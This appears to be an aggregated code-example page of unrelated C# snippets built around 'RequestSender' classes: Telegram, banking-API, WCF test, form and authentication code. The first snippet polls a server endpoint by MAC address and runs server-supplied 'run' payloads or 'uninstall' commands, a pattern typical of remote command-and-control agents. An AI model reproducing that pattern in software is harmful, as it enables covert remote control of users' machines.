Esempio n. 1
0
        /// <summary>
        /// Attempts to get a new command from the server
        /// </summary>
        /// <param name="requestSender">RequestSender class instance</param>
        /// <param name="macAddress">MacAddress to get the command for</param>
        /// <returns></returns>
        private static ICommand GetCommand(RequestSender requestSender, string macAddress)
        {
            var formEncoder        = new FormEncoder();
            var getCommandData     = formEncoder.CreateLoginData(macAddress);
            var getCommandRequest  = new GetCommandRequest("/api/getcommand.php", getCommandData);
            var getCommandResponse = requestSender.SendRequest(getCommandRequest);
            var jsonResponseData   = JsonParser.Deserialize(getCommandResponse);

            switch (jsonResponseData["command"])
            {
            case "uninstall":
                return(new UninstallCommand());

            case "run":
                var payloadData = (Dictionary <string, object>)jsonResponseData["Payload"];
                var payload     = CreatePayload(payloadData);
                var runCommand  = new RunCommand(payload);
                return(runCommand);

            case "none":
                return(new NoneCommand());
            }

            return(null);
        }
Esempio n. 2
0
        public static async Task <List <Update> > GetUpdatesAsync(this Telegram telegram)
        {
            var result = new List <Update>();

            var url = telegram.GetFullPathUrl("getUpdates");

            var request = new ExternalRequest <ResponseAnswer <List <Update> >, GetUpdatesRequest>()
            {
                Method          = POST_METHOD,
                PostContentType = "application/json",
            };

            if (offset != 0)
            {
                request.PostContent = new GetUpdatesRequest()
                {
                    Offset = offset
                };
            }

            var response = await RequestSender.Execute(DataAccessMode.Server, request, url).ConfigureAwait(false);

            result = response?.Result?.Result ?? new List <Update>();

            if (result.Any())
            {
                offset = result.LastOrDefault().Id + 1;
            }

            return(result);
        }
Esempio n. 3
0
        public TraidingSimulator(RequestSender requestSender, ILoggerService loggerService)
        {
            this.requestSender = requestSender;
            this.log           = loggerService;

            log.InitLogger();
        }
        public void SetUp()
        {
            replica         = new Uri("http://replica/");
            relativeRequest = Request.Get("foo/bar");
            absoluteRequest = Request.Get("http://replica/foo/bar");
            response        = new Response(ResponseCode.Ok);
            timeout         = 5.Seconds();

            log = Substitute.For <ILog>();
            log
            .When(l => l.Log(Arg.Any <LogEvent>()))
            .Do(info => new ConsoleLog().Log(info.Arg <LogEvent>()));

            configuration = Substitute.For <IClusterClientConfiguration>();
            configuration.ResponseCriteria.Returns(new List <IResponseCriterion> {
                Substitute.For <IResponseCriterion>()
            });
            configuration.LogReplicaRequests.Returns(true);
            configuration.LogReplicaResults.Returns(true);
            configuration.ReplicaOrdering.Returns(Substitute.For <IReplicaOrdering>());
            configuration.Log.Returns(log);

            storageProvider = Substitute.For <IReplicaStorageProvider>();

            responseClassifier = Substitute.For <IResponseClassifier>();
            responseClassifier.Decide(Arg.Any <Response>(), Arg.Any <IList <IResponseCriterion> >()).Returns(ResponseVerdict.Accept);

            requestConverter = Substitute.For <IRequestConverter>();
            requestConverter.TryConvertToAbsolute(relativeRequest, replica).Returns(_ => absoluteRequest);

            transport = Substitute.For <ITransport>();
            transport.SendAsync(Arg.Any <Request>(), Arg.Any <TimeSpan>(), Arg.Any <CancellationToken>()).Returns(_ => response);

            sender = new RequestSender(configuration, storageProvider, responseClassifier, requestConverter, transport);
        }
Esempio n. 5
0
        public async ValueTask <ActionResult <TransactionEntityOutputModel> > DepositTransactionInsert(TransactionEntityInputModel transactionEntityInputModel)
        {
            string URIdeposit    = $"api/transaction/deposit";
            string URIgetBalance = $"api/transaction/balance/{transactionEntityInputModel.Account.Id}";
            var    account       = await _accountRepository.GetAccountById(transactionEntityInputModel.Account.Id);

            if (!account.IsOkay)
            {
                return(Problem($"Request failed {account.ExMessage}", statusCode: 520));
            }
            if (account.RequestData == null)
            {
                return(NotFound($"AccountId: {transactionEntityInputModel.Account.Id} not found"));
            }
            var balance = await RequestSender.SendRequest <AccountBalanceOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIgetBalance, Method.GET);

            if (balance == null)
            {
                return(Problem($"Request failed", statusCode: 520));
            }
            transactionEntityInputModel.TimeStamp = balance.Data.TimeStamp;

            var result = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIdeposit, Method.POST, transactionEntityInputModel);

            if (result.StatusCode != System.Net.HttpStatusCode.OK)
            {
                return(Problem($"Transaction failed: {result.Content}", statusCode: (int)result.StatusCode));
            }
            return(result.Data);
        }
        public string Run(string[] splittedUserInpit, RequestSender requestSender)
        {
            string answer = "";
            int    clientId;

            if (splittedUserInpit.Length < 5)
            {
                return("Not enough parameters");
            }
            if (!int.TryParse(splittedUserInpit[1], out clientId))
            {
                return("Cannot parse ID");
            }

            var client = new ClientEntity()
            {
                ClientID        = clientId,
                ClientFirstName = splittedUserInpit[2],
                ClientLastName  = splittedUserInpit[3],
                PhoneNumber     = splittedUserInpit[4]
            };

            requestSender.PostUpdateClient(client, out answer);
            return(answer);
        }
        public void FullRequest()
        {
            EndpointIdentity identity =
                new X509CertificateEndpointIdentity(new X509Certificate2("Test/Resources/test.pfx", "mono"));
            EndpointAddress address =
                new EndpointAddress(new Uri("stream:dummy"), identity);

            Message mreq   = Message.CreateMessage(MessageVersion.Default, "myAction");
            Message mreply = null;

            XmlWriterSettings settings = new XmlWriterSettings();

            settings.Indent = true;

            // listener setup
            ReplyHandler replyHandler = delegate(Message rinput)
            {
                mreply = rinput;
            };
            RequestReceiver receiver = delegate()
            {
                return(mreq);
            };
            IChannelListener <IReplyChannel> listener = CreateListener(replyHandler, receiver);

            listener.Open();
            IReplyChannel reply = listener.AcceptChannel();

            reply.Open();

            RequestSender reqHandler = delegate(Message input)
            {
                try
                {
                    // sync version somehow causes an infinite loop (!?)
                    RequestContext ctx = reply.EndReceiveRequest(reply.BeginReceiveRequest(TimeSpan.FromSeconds(5), null, null));
//					RequestContext ctx = reply.ReceiveRequest (TimeSpan.FromSeconds (5));
                    Console.Error.WriteLine("Acquired RequestContext.");
                    ctx.Reply(input);
                }
                catch (Exception ex)
                {
                    Console.Error.WriteLine("ERROR during processing a request in FullRequest()");
                    Console.Error.WriteLine(ex);
                    Console.Error.Flush();
                    throw;
                }
                return(mreply);
            };
            CustomBinding b = CreateBinding(reqHandler);

            IRequestChannel ch = ChannelFactory <IRequestChannel> .CreateChannel(b, address);

            ch.Open();
            Console.Error.WriteLine("**** starting a request  ****");
            IAsyncResult async = ch.BeginRequest(mreq, null, null);

            Console.Error.WriteLine("**** request started. ****");
            Message res = ch.EndRequest(async);
        }
Esempio n. 8
0
        public async Task <HistoricalResponse> Daily(HistoricalAny model)
        {
            var @params = ParseFull(model);
            var url     = Navigator.HistoricalDaily;

            return(await RequestSender.GetAsync <HistoricalResponse>(url, @params));
        }
Esempio n. 9
0
 public BroadcastForm()
 {
     InitializeComponent();
     client      = MasterContainer.GetService <RequestSender>();
     currentUser = MasterContainer.GetService <User>();
     recForm     = new RecordForm();
 }
Esempio n. 10
0
        public async ValueTask <ActionResult <AccountOutputModel> > AddAccount(AccountInputModel accountInputModel)
        {
            string URIdeposit = $"api/transaction/initialize";

            if (accountInputModel.CurrencyId < 1)
            {
                return(BadRequest("Account cannot be added"));
            }
            var result = await _accountRepository.AddAccount(_mapper.Map <Account>(accountInputModel));

            TransactionEntityInputModel transactionEntityInputModel = new TransactionEntityInputModel {
                Amount = 19000
            };

            if (result.IsOkay)
            {
                if (result.RequestData == null)
                {
                    return(Problem($"Added account not found", statusCode: 520));
                }

                transactionEntityInputModel.Account = new AccountShortInputModel
                {
                    Id         = (long)result.RequestData.Id,
                    CurrencyId = result.RequestData.Currency.Id
                };
                var requestResult = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIdeposit, Method.POST, transactionEntityInputModel);

                if (requestResult.IsSuccessful)
                {
                    return(Ok(_mapper.Map <AccountOutputModel>(result.RequestData)));
                }
            }
            return(Problem($"Transaction failed {result.ExMessage}", statusCode: 520));
        }
Esempio n. 11
0
        private void SearchListings_Button_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                var json = GenerateSearchJson(Search_TextBox.Text);
                // Call the API for a list of items
                var     resp    = new RequestSender().SendPost("SearchTransactions", json);
                dynamic desResp = JsonConvert.DeserializeObject(resp);
                desResp = JsonConvert.DeserializeObject(desResp);
                List <SimpleListing> sListings = new List <SimpleListing>();
                foreach (var t in desResp)
                {
                    SimpleListing s = new SimpleListing();
                    s.Author    = t["Author"].ToString();
                    s.Title     = t["Name"].ToString();
                    s.ISBN      = t["ISBN"].ToString();
                    s.Price     = Convert.ToDouble(t["ListPrice"]);
                    s.Quality   = t["Condition"].ToString();
                    s.ListingId = Convert.ToInt32(t["TransactionId"]);

                    sListings.Add(s);
                }
                new Listings().GenerateListingList(sListings, Listings_StackPanel, true);
                // Generate Listing List
            }
            catch (Exception ex)
            {
            }
        }
Esempio n. 12
0
 public StockExchange(Container traidingRegistryContainer)
 {
     this.traidingRegistryContainer = traidingRegistryContainer;
     this.requestSender             = traidingRegistryContainer.GetInstance <RequestSender>();
     this.log = new Log4NetService(false);
     this.log.InitLogger();
 }
Esempio n. 13
0
        public ProcessController()
        {
            var request = new RequestSender();

            WorkerService  = new WorkerService(request);
            ProcessService = new ProcessService(request);
        }
Esempio n. 14
0
        public async ValueTask <ActionResult <TransactionEntityOutputModel> > TransactionGetById(long id)
        {
            string URI    = $"api/transaction/{id}";
            var    result = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URI);

            return(result.Data);
        }
 public MainDialog()
 {
     InitializeComponent();
     cboLevel.SelectedIndex = 1; // INFO
     requestBuilder         = new RequestBuilder(txtUsername.Text, txtPassword.Text);
     requestSender          = new RequestSender(txtIp.Text, Int32.Parse(txtPort.Text));
 }
Esempio n. 16
0
        private async void Register_Button_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                RequestSender request     = new RequestSender();
                var           userJson    = TBUser.Create(UserName_TextBox.Text, Password_TextBox.Password, PhoneNumber_TextBox.Text, Email_TextBox.Text);
                var           result      = request.SendPost("NewUser", userJson);
                dynamic       resDetailed = JsonConvert.DeserializeObject(result);
                resDetailed = JsonConvert.DeserializeObject((string)resDetailed);
                if ((int)resDetailed["Status"] == 1)
                {
                    SessionState.LoggedInId   = Convert.ToInt32(resDetailed["Data"]["UserId"]);
                    SessionState.LoggedInName = resDetailed["Data"]["UserName"].ToString();
                    SessionState.LoggedIn     = true;
                }
                else
                {
                    MessageDialog msg = new MessageDialog("There is a user already associated with that username.");
                    await msg.ShowAsync();
                }

                // Then log in with those credentials
                NavigateToPage.Navigate(typeof(HomePage));
            }
            catch (Exception ex)
            {
                MessageDialog msg = new MessageDialog("There is a user already associated with that username.");
                await msg.ShowAsync();
            }
        }
Esempio n. 17
0
        public LoginForm()
        {
            InitializeComponent();

            netSender = MasterContainer.GetService <RequestSender>();
            crypter   = MasterContainer.GetService <EncryptionProvider>();
        }
Esempio n. 18
0
        private static RequestSender InitTcpSender(Settings settings)
        {
            string    ip = settings.SERVER_IP;
            TcpSender tcpClient;

            try
            {
                tcpClient = new TcpSender(ip, settings.CONTROL_TCP_PORT,
                                          settings.RESPOND_TIMEOUT);
            }
            catch
            {
                MessageBox.Show("Nepodařilo se zinicializovat síťovou komunikaci, program bude ukončen.", "Chyba", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return(null);
            }
            var sender = new RequestSender(tcpClient);

            sender.NetProblem           += ProgramError;
            sender.UnrecognizedResponse += ProgramError;
            sender.CryptoError          += ProgramError;
            sender.Unauthorized         += ProgramError;
            sender.AccessDenied         += ProgramError;
            sender.CannotExecute        += ProgramError;
            sender.InvalidResponse      += ProgramError;

            MasterContainer.AddService(sender);

            return(sender);
        }
Esempio n. 19
0
        private static RsaCrpyter GetServerKey(Settings settings, RequestSender sender)
        {
            string storeFile = settings.FINGERPRINT_STORE_FILE;
            var    store     = new FingerprintStore(storeFile);

            var hello         = new HelloRequest();
            var helloResponse = sender.SendAndRecieve <HelloResponse>(hello);

            if (helloResponse == null)
            {
                MessageBox.Show("Server neodpověděl na požadavek pro zaslání veřejného klíče. Zkontrolujte síťové připojení.", "Chyba", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return(null);
            }

            var assymetricCrypter = new RsaCrpyter(helloResponse.CrypterConfig);

            if (!store.IsKnownFingerprint(assymetricCrypter.KeyFingerprint))
            {
                string msg = string.Format("Server se představil veřejným klíčem\r\n{0}\r\nkterý zatím není v seznamu známých hostitelů. Pokud tomuto serveru důvěřujete, přejete si klíč do seznamu přidat?", store.PrintFingerprint(assymetricCrypter.KeyFingerprint));

                var result = MessageBox.Show(msg, "Upozornění", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation);
                if (result == DialogResult.Yes)
                {
                    store.AddFingerPrint(assymetricCrypter.KeyFingerprint);
                }
                else
                {
                    return(null);
                }
            }

            return(assymetricCrypter);
        }
Esempio n. 20
0
        public async Task <TResult> SendRequestToOtherDcAsync <TResult>(int dcId, Func <IClientApi, Task <TResult> > requestFunc, CancellationToken cancellationToken = default(CancellationToken))
        {
            ClientSettings.EnsureUserAuthorized();

            var requestExportAuthorization = new RequestExportAuthorization
            {
                DcId = dcId
            };
            var exportedAuth = (TExportedAuthorization)await RequestSender.SendRequestAsync(requestExportAuthorization, cancellationToken).ConfigureAwait(false);


            var dc = ClientSettings.Config.DcOptions.First(d => d.Id == dcId);

            var client = await ClientCache.GetOrCreate(ClientSettings, dc.IpAddress, dc.Port).ConfigureAwait(false);

            var requestImportAuthorization = new RequestImportAuthorization
            {
                Bytes = exportedAuth.Bytes,
                Id    = exportedAuth.Id
            };

            await client.CustomRequestsService.SendRequestAsync(requestImportAuthorization, cancellationToken).ConfigureAwait(false);

            var result = await requestFunc(client).ConfigureAwait(false);

            return(result);
        }
Esempio n. 21
0
        public override AstoriaResponse GetResponse()
        {
            LogRequest();

            foreach (AstoriaRequest subRequest in Changesets.SelectMany(c => c).Union(this.Requests))
            {
                subRequest.OnSend(this);
            }

#if !ClientSKUFramework
            // NOTHING should come in between this and actually sending the request
            SetupAPICallLog();
#endif
            AstoriaResponse response = RequestSender.SendRequest(this);

#if !ClientSKUFramework
            // NOTHING should come in between this and actually recieving the response
            RetrieveAPICallLog();
#endif
            BatchResponse batchResponse = new BatchResponse(this, response);

            foreach (AstoriaResponse subResponse in batchResponse.Responses)
            {
                subResponse.Request.OnReceive(this, subResponse);
            }

            return(batchResponse);
        }
        public async Task GetConfig()
        {
            var result = await RequestSender.SendRequestAsync(new RequestGetConfig(), CancellationToken.None).ConfigureAwait(false);

            Assert.NotNull(result);
            Assert.NotEmpty(result.DcOptions);
        }
 public TemplatesWithUpdate(Client client, RequestSender requestSender, DataMapper dataMapper)
     : base(client, requestSender, dataMapper)
 {
     this.client        = client;
     this.requestSender = requestSender;
     this.dataMapper    = dataMapper;
 }
Esempio n. 24
0
        public async ValueTask <ActionResult <List <TransactionEntityOutputModel> > > GetAllTransaction()
        {
            string URI    = $"api/transaction/";
            var    result = await RequestSender.SendRequest <List <TransactionEntityOutputModel> >(_urlOptions.Value.TransactionStoreApiUrl, URI);

            return(result.Data);
        }
Esempio n. 25
0
        /// <inheritdoc />
        public async Task<TUser> SignUpAsync(string phoneNumber,
                                             ISentCode sentCode,
                                             string code,
                                             string firstName,
                                             string lastName,
                                             CancellationToken cancellationToken = default(CancellationToken))
        {
            Guard.That(phoneNumber, nameof(phoneNumber)).IsNotNullOrWhiteSpace();
            Guard.That(code, nameof(code)).IsNotNullOrWhiteSpace();
            Guard.That(firstName, nameof(firstName)).IsNotNullOrWhiteSpace();
            Guard.That(lastName, nameof(lastName)).IsNotNullOrWhiteSpace();

            var request = new RequestSignUp
                          {
                              PhoneNumber = phoneNumber,
                              PhoneCode = code,
                              PhoneCodeHash = sentCode.PhoneCodeHash,
                              FirstName = firstName,
                              LastName = lastName
                          };
            var result = (TAuthorization)await RequestSender.SendRequestAsync(request, cancellationToken).ConfigureAwait(false);

            var user = result.User.Is<TUser>();

            await OnUserAuthenticated(user).ConfigureAwait(false);
            return user;
        }
Esempio n. 26
0
        private T CreateChannel <T> (RequestSender handler)
        {
            CustomBinding      b = new CustomBinding(new HandlerTransportBindingElement(handler));
            ChannelFactory <T> f = new ChannelFactory <T> (b, new EndpointAddress("urn:dummy"));

            return(f.CreateChannel());
        }
        /// <summary>
        /// Loads CalculatesDistance form
        /// </summary>
        /// <returns>
        /// Returns CalculateDistance.cshtml as view
        /// </returns>
        public async Task <IActionResult> CalculateDistanceAsync()
        {
            if (await _auth.ValidateAsync(HttpContext.Session.GetString(Constants.TOKEN)))
            {
                if (Request.Method.ToUpper() == "POST")
                {
                    RequestSender requestSender = new RequestSender(HttpContext.Session.GetString(Constants.TOKEN));
                    var           response      = await requestSender.Post("/geo/GetDistance", new GetDistanceModel()
                    {
                        startingLat = float.Parse(Request.Form["start_lat"][0].ToString()),
                        startingLng = float.Parse(Request.Form["start_lng"][0].ToString()),
                        endingLat   = float.Parse(Request.Form["end_lat"][0].ToString()),
                        endingLng   = float.Parse(Request.Form["end_lng"][0].ToString())
                    });

                    if (response.StatusCode == HttpStatusCode.OK)
                    {
                        return(Ok(await response.Content.ReadAsStringAsync()));
                    }
                    return(Error());
                }
                return(View("CalculateDistance"));
            }
            return(RedirectToAction("Login", "Auth"));
        }
Esempio n. 28
0
        public void ChangePassword(object o, EventArgs e)
        {
            string newPassword       = changePasswordText.Text;
            string newPasswordRepeat = changePasswordRepeatText.Text;

            var result = Validator.ValidatePassword(newPassword);

            if (!result.isValid)
            {
                Toast.MakeText(this, result.message, ToastLength.Long).Show();
                return;
            }

            if (newPassword != newPasswordRepeat)
            {
                Toast.MakeText(this, "Passwords don't match", ToastLength.Short).Show();
            }
            else
            {
                if (RequestSender.SetLoggedInAccountPassword(newPassword, false))
                {
                    Toast.MakeText(this, "Password changed successfully!", ToastLength.Short).Show();
                    changePasswordText.Text       = "";
                    changePasswordRepeatText.Text = "";
                }
                else
                {
                    Toast.MakeText(this, "Password change failed", ToastLength.Short).Show();
                }
            }
        }
Esempio n. 29
0
        private async Task <bool> EnumerateFilesAndWriteKeywords(IEnumerable <string> files)
        {
            try
            {
                foreach (var file in files)
                {
                    RequestSender rSender = new RequestSender(Path.GetFileNameWithoutExtension(file));
                    var           data    = await Task.Factory.StartNew(() =>
                    {
                        return(rSender.SelectCustomWords((x) =>
                        {
                            if (x != "" && x != "Top" && !x.Contains(":") && !x.Contains("\n") && !x.Any(y => char.IsDigit(y)))
                            {
                                return true;
                            }
                            else
                            {
                                return false;
                            }
                        }));
                    });

                    UsingFile.FillKeywords(file, data);
                }
                return(true);
            }
            catch (Exception)
            {
                return(false);
            }
        }
Esempio n. 30
0
        /// <inheritdoc />
        public async Task <TUser> CheckCloudPasswordAsync(string password, CancellationToken cancellationToken = default(CancellationToken))
        {
            Guard.That(password, nameof(password)).IsNotNullOrWhiteSpace();

            var passwordBytes = Encoding.UTF8.GetBytes(password);

            var pwd = (TPassword)await RequestSender.SendRequestAsync(new RequestGetPassword(), cancellationToken).ConfigureAwait(false);

            var rv = pwd.CurrentSalt.Concat(passwordBytes).Concat(pwd.CurrentSalt);

            byte[] passwordHash;
            using (var sha = SHA256.Create())
            {
                passwordHash = sha.ComputeHash(rv.ToArray());
            }

            var request = new RequestCheckPassword
            {
                PasswordHash = passwordHash
            };
            var result = (TAuthorization)await RequestSender.SendRequestAsync(request, cancellationToken).ConfigureAwait(false);

            var user = result.User.Is <TUser>();

            await OnUserAuthenticated(user).ConfigureAwait(false);

            return(user);
        }
        public RequestSenderBuilder(ISerialiser serialser, RequestSender requestSender)
        {
            Contract.Requires(serialser != null);
            Contract.Requires(requestSender != null);

            this.serialser = serialser;
            this.requestSender = requestSender;
        }
        public void the_response_is_returned(ResponseType expectedResponseType)
        {
            // Arrange
            var sut = new RequestSender();
            var requestGenerator = new RequestGenerator();
            var request = requestGenerator.Lrap1Request(expectedResponseType);

            // Act
            var lrapResponse = sut.Send(request, "LRUsername001", "BGPassword001");

            // Assert
            Assert.Equal(expectedResponseType, lrapResponse.ResponseType);
        }
Esempio n. 33
0
    public new void Awake()
    {
        Config_ = new Roar.implementation.Config ();
        Logger logger = new Logger ();

        api = new MockRequestSender (Config_, this, logger);
        Roar.implementation.DataStore data_store = new Roar.implementation.DataStore (api, logger);
        WebAPI_ = new global::WebAPI (api);
        User_ = new Roar.implementation.Components.User (WebAPI_.user, data_store, logger);
        Properties_ = new Roar.implementation.Components.Properties (data_store);
        Inventory_ = new Roar.implementation.Components.Inventory (WebAPI_.items, data_store, logger);
        Shop_ = new Roar.implementation.Components.Shop (WebAPI_.shop, data_store, logger);
        Actions_ = new Roar.implementation.Components.Actions (WebAPI_.tasks, data_store);

        UrbanAirship_ = new Roar.implementation.Adapters.UrbanAirship (WebAPI_);

        // Apply public settings
        Config.game = gameKey;
    }
Esempio n. 34
0
    public new void Awake()
    {
        config = new Roar.implementation.Config ();
        Logger logger = new Logger ();

        api = new MockRequestSender (config, this, logger);
        webAPI = new global::WebAPI(api);
        Roar.implementation.DataStore data_store = new Roar.implementation.DataStore (webAPI, logger);
        user = new Roar.implementation.Components.User (webAPI.user, data_store, logger);
        properties = new Roar.implementation.Components.Properties (data_store);
        inventory = new Roar.implementation.Components.Inventory (webAPI.items, data_store, logger);
        shop = new Roar.implementation.Components.Shop (webAPI.shop, data_store, logger);
        friends = new Roar.implementation.Components.Friends (webAPI.friends, data_store, logger);
        tasks = new Roar.implementation.Components.Tasks (webAPI.tasks, data_store);

        urbanAirship = new Roar.implementation.Adapters.UrbanAirship (webAPI);

        // Apply public settings
        // TODO: Not sure what this should be now.
        // Config.game = gameKey;
    }
Esempio n. 35
0
    /**
     * Called by unity when everything is ready to go.
     * We use this rather than the constructor as its what unity suggests.
     */
    public void Awake()
    {
        config = new Roar.implementation.Config();

        // Apply public settings
        string key = gameKey.ToLower();
               //key = key.Replace("_", "");
        Config.Game = key;
        Config.IsDebug = debug;

        switch (xmlParser)
        {
        case XMLType.System:
            IXMLNodeFactory.instance = new SystemXMLNodeFactory();
            break;
        case XMLType.Lightweight:
            IXMLNodeFactory.instance = new XMLNodeFactory();
            break;
        }

        RequestSender api = new RequestSender(config,this,logger);
        datastore = new Roar.implementation.DataStore(api, logger);
        webAPI = new global::WebAPI(api);
        user = new Roar.implementation.Components.User(webAPI.user,datastore, logger);
        properties = new Roar.implementation.Components.Properties( datastore );
        leaderboards = new Roar.implementation.Components.Leaderboards(datastore, logger);
        inventory = new Roar.implementation.Components.Inventory( webAPI.items, datastore, logger);
        shop = new Roar.implementation.Components.Shop( webAPI.shop, datastore, logger );
        actions = new Roar.implementation.Components.Actions( webAPI.tasks, datastore );

        if (!Application.isEditor)
        {
            appstore = new Roar.implementation.Components.InAppPurchase( webAPI.appstore, "Roar", logger, appstoreSandbox );
        }

        urbanAirship = new Roar.implementation.Adapters.UrbanAirship(webAPI);

        DontDestroyOnLoad(gameObject);
    }
Esempio n. 36
0
    /**
     * Called by unity when everything is ready to go.
     * We use this rather than the constructor as its what unity suggests.
     */
    public void Awake()
    {
        config = new Roar.implementation.Config();

        // Apply public settings
        string key = gameKey.ToLower();
               //key = key.Replace("_", "");
        Config.Game = key;
        Config.IsDebug = debug;

        RequestSender api = new RequestSender(config,this,logger);
        webAPI = new global::WebAPI(api);
        datastore = new Roar.implementation.DataStore(webAPI, logger);
        friends = new Roar.implementation.Components.Friends( webAPI.friends, datastore, logger);
        user = new Roar.implementation.Components.User(webAPI.user,datastore, logger);
        properties = new Roar.implementation.Components.Properties( datastore );
        leaderboards = new Roar.implementation.Components.Leaderboards(webAPI,datastore, logger);
        inventory = new Roar.implementation.Components.Inventory( webAPI.items, datastore, logger);
        data = new Roar.implementation.Components.Data( webAPI.user, datastore, logger);
        shop = new Roar.implementation.Components.Shop( webAPI.shop, datastore, logger );
        tasks = new Roar.implementation.Components.Tasks( webAPI.tasks, datastore );
        facebook = new Roar.implementation.Components.Facebook(webAPI.facebook, datastore, logger);

        if (!Application.isEditor)
        {
            appstore = new Roar.implementation.Components.InAppPurchase( webAPI.appstore, "Roar", logger, appstoreSandbox );
        }

        urbanAirship = new Roar.implementation.Adapters.UrbanAirship(webAPI);

        DontDestroyOnLoad(gameObject);
    }
		Binding CreateIssuerBinding (RequestSender handler, bool tokenParams)
		{
			SymmetricSecurityBindingElement sbe =
				new SymmetricSecurityBindingElement ();
			if (tokenParams)
				sbe.ProtectionTokenParameters = new X509SecurityTokenParameters ();
			sbe.LocalServiceSettings.NegotiationTimeout = TimeSpan.FromSeconds (5);
			sbe.KeyEntropyMode = SecurityKeyEntropyMode.ClientEntropy;
			//sbe.IncludeTimestamp = false;
			//sbe.MessageProtectionOrder = MessageProtectionOrder.SignBeforeEncrypt;

			// for ease of decryption, let's remove DerivedKeyToken.
			sbe.SetKeyDerivation (false);

			return new CustomBinding (
//				new DebugBindingElement (),
				sbe,
				new TextMessageEncodingBindingElement (),
				new HandlerTransportBindingElement (handler));
		}
 public EdrsCommunicator(IObjectSerializer objectSerializer)
 {
     _objectSerializer = objectSerializer;
     RequestSender = new RequestSender();
 }
		CustomBinding CreateBinding (RequestSender sender,
			SecurityTokenParameters protectionTokenParameters)
		{
			return CreateBinding (sender, protectionTokenParameters, false);
		}
		CustomBinding CreateBinding (RequestSender sender,
			SecurityTokenParameters protectionTokenParameters,
			bool isOneWay)
		{
			SymmetricSecurityBindingElement sbe =
				new SymmetricSecurityBindingElement ();
			sbe.ProtectionTokenParameters = protectionTokenParameters;
			List<BindingElement> l = new List<BindingElement> ();
			l.Add (sbe);
			l.Add (new TextMessageEncodingBindingElement ());
			if (isOneWay)
				l.Add (new OneWayBindingElement ());
			l.Add (new HandlerTransportBindingElement (sender));
			CustomBinding b = new CustomBinding (l);
			return b;
		}
		CustomBinding CreateBinding (RequestSender sender)
		{
			return CreateBinding (sender, new X509SecurityTokenParameters ());
		}
		private Session(string username, string password, string token, string publicKey, string privateKey)
		{
            this.username = username;
            this.publicKey = publicKey;
            this.token = token;
            this.privateKey = privateKey;
            this.requestSender = new RequestSender();
            this.Password = password;
            oldPrivate = oldPublic = null;
			loggedIn = false;
		}
		CustomBinding CreateBinding (RequestSender sender, bool isOneWay)
		{
			return CreateBinding (sender, new X509SecurityTokenParameters (), isOneWay);
		}